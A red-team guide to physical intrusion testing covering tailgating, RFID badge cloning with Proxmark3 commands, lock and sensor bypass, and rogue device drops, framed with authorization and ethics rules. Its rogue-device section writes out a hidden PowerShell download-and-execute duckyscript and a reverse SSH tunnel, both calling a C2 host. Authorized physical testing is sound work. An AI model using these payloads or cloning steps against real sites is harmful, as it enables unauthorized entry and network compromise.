Performing Physical Intrusion Assessment

Performing Physical Intrusion Assessment

Overview

Physical intrusion assessment evaluates an organization's physical security controls by attempting to gain unauthorized access to facilities, server rooms, and restricted areas. This includes tailgating employees, cloning RFID access badges, bypassing locks, deploying rogue network devices, and testing security guard procedures. Physical security testing is a critical component of full-scope red team engagements, as it often provides the most direct path to network access. MITRE ATT&CK maps physical access techniques under T1200 (Hardware Additions) and T1091 (Replication Through Removable Media).

When to Use

• When conducting security assessments that involve performing physical intrusion assessment
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Most Often Missed & How to Confirm

• Tailgating + pretext is the highest-yield, most-skipped vector: follow staff through badge doors during smoke breaks/deliveries with a plausible pretext (vendor, new hire, courier).
• Badge cloning: capture HID/iCLASS with a Proxmark3 or long-range reader from a few feet, then replay; many sites never rotate card formats.
• Door/lock bypass: under-door tools, latch slipping (loiding), REX motion-sensor triggering, and elevator/stairwell access.
• Network footholds inside: exposed jacks in lobbies/conference rooms, unattended kiosks, and perimeter Wi-Fi.
• Confirm with evidence: reach a live network jack (obtain a DHCP lease/internal IP), photograph a sensitive area, or plant a benign drop box that calls back. Don't conclude "secure" until tailgating, badge clone, lock bypass, and at least one social pretext have been attempted at each entrance and after-hours.

Prerequisites

• Signed authorization letter (carry at all times during assessment)
• Emergency contact for client security team (24/7)
• Get-out-of-jail letter signed by executive authority
• Physical security testing toolkit
• Body camera or documentation equipment
• Disguise/cover identity materials (uniform, badge, clipboard)

MITRE ATT&CK Mapping

Physical Security Testing Toolkit

Technique 1: Tailgating

Tailgating involves following an authorized person through a secured entry point without presenting credentials.

Methods:

• Hands full approach: Carry boxes/equipment, ask someone to hold the door
• Smoke break return: Wait near smoking area, follow employees back inside
• Delivery driver: Wear delivery uniform, carry packages
• Busy entrance timing: Enter during shift change or lunch rush
• Door propping: Observe if employees prop doors open

Countermeasures to test:

• Turnstiles / mantraps
• Security guard challenge procedures
• Piggybacking detection systems
• Employee security awareness

Technique 2: Badge Cloning

# Proxmark3 - Read a low-frequency (125kHz) HID card
proxmark3> lf hid read
# Output: HID Prox TAG ID: 2006xxxxxx - FC: 123 CN: 45678

# Clone to a T5577 blank card
proxmark3> lf hid clone --fc 123 --cn 45678

# Read high-frequency (13.56MHz) MIFARE card
proxmark3> hf mf rdbl --blk 0 -k FFFFFFFFFFFF

# Long-range capture with custom antenna (up to 3 feet)
proxmark3> lf hid read  # with extended antenna

# Flipper Zero - Read and emulate
# RFID > Read > Hold card to Flipper > Save > Emulate

Badge cloning attack flow:

1. Position near badge reader (elevator, door entry)
2. Read badge wirelessly as employee passes (1-3 second window)
3. Clone to blank card
4. Use cloned badge to access secured areas
5. Document which areas were accessible

Technique 3: Lock Bypassing

# Electronic keypad - thermal imaging after use
# Warmer keys = more recently pressed
# Use FLIR camera to capture heat signatures within 30 seconds

# REX (Request to Exit) sensor bypass
# Insert thin wire or use a can of compressed air to trigger motion sensor
# on the inside of a mag-locked door

Technique 4: Rogue Device Deployment

# LAN Turtle - Plug into exposed Ethernet port
# Provides SSH reverse tunnel back to C2 server
# Auto-configures as man-in-the-middle

# Configure LAN Turtle for reverse SSH
# Module: AutoSSH
# Host: c2.redteam.com
# Port: 22
# Remote port: 2222

# WiFi Pineapple - Deploy in common area
# Captures wireless credentials via evil twin attack
# Exfiltrates data over cellular modem

# USB Rubber Ducky - Drop in parking lot or leave on desk
# Payload: Download and execute C2 agent
# Duckyscript:
# DELAY 1000
# GUI r
# DELAY 500
# STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://c2.redteam.com/stager.ps1')"
# ENTER

Technique 5: Dumpster Diving

Search external waste containers and recycling bins for:

• Printed documents with sensitive information
• Employee directories and org charts
• Network diagrams and IP addresses
• Shredded documents (cross-cut vs strip-cut assessment)
• Discarded hardware (hard drives, USB drives)

Assessment Methodology

Pre-Assessment Reconnaissance

1. Perimeter walk - identify all entry points, cameras, guard posts
2. Observe employee patterns - shift changes, break schedules
3. Identify badge technology (HID, MIFARE, iCLASS)
4. Map camera coverage and blind spots
5. Note security guard patrol routes and timing

Execution Phases

1. External perimeter: Fencing, gates, parking barriers
2. Building entry: Main entrance, side doors, loading dock
3. Internal access: Floor access, elevator controls
4. Restricted areas: Server rooms, executive offices, data centers
5. Device deployment: Network implants, rogue wireless

Documentation Requirements

• Timestamp and location for every access attempt
• Photos/video of successful entries
• Badge reader locations that accepted cloned credentials
• Unlocked doors, propped doors, tailgating opportunities
• Network ports accessible in public areas
• Evidence of data in waste containers

Ethical and Safety Considerations

1. Always carry authorization letter - Be prepared to identify yourself immediately if confronted
2. Never force entry - If a technique damages property, document and skip
3. Immediate stop if law enforcement is called before deconfliction
4. Never photograph individuals without authorization
5. Document, don't exploit - Take photos as evidence, don't steal actual data
6. Safety first - Do not enter hazardous areas or bypass fire safety

References

• ISACA Physical Penetration Testing White Paper (2023)
• ASIS Physical Security Professional (PSP) guidelines
• NIST SP 800-116 Rev. 1: Smart Card PIV guidelines
• Deviant Ollam - Physical Security Assessment methodology
• MITRE ATT&CK T1200: https://attack.mitre.org/techniques/T1200/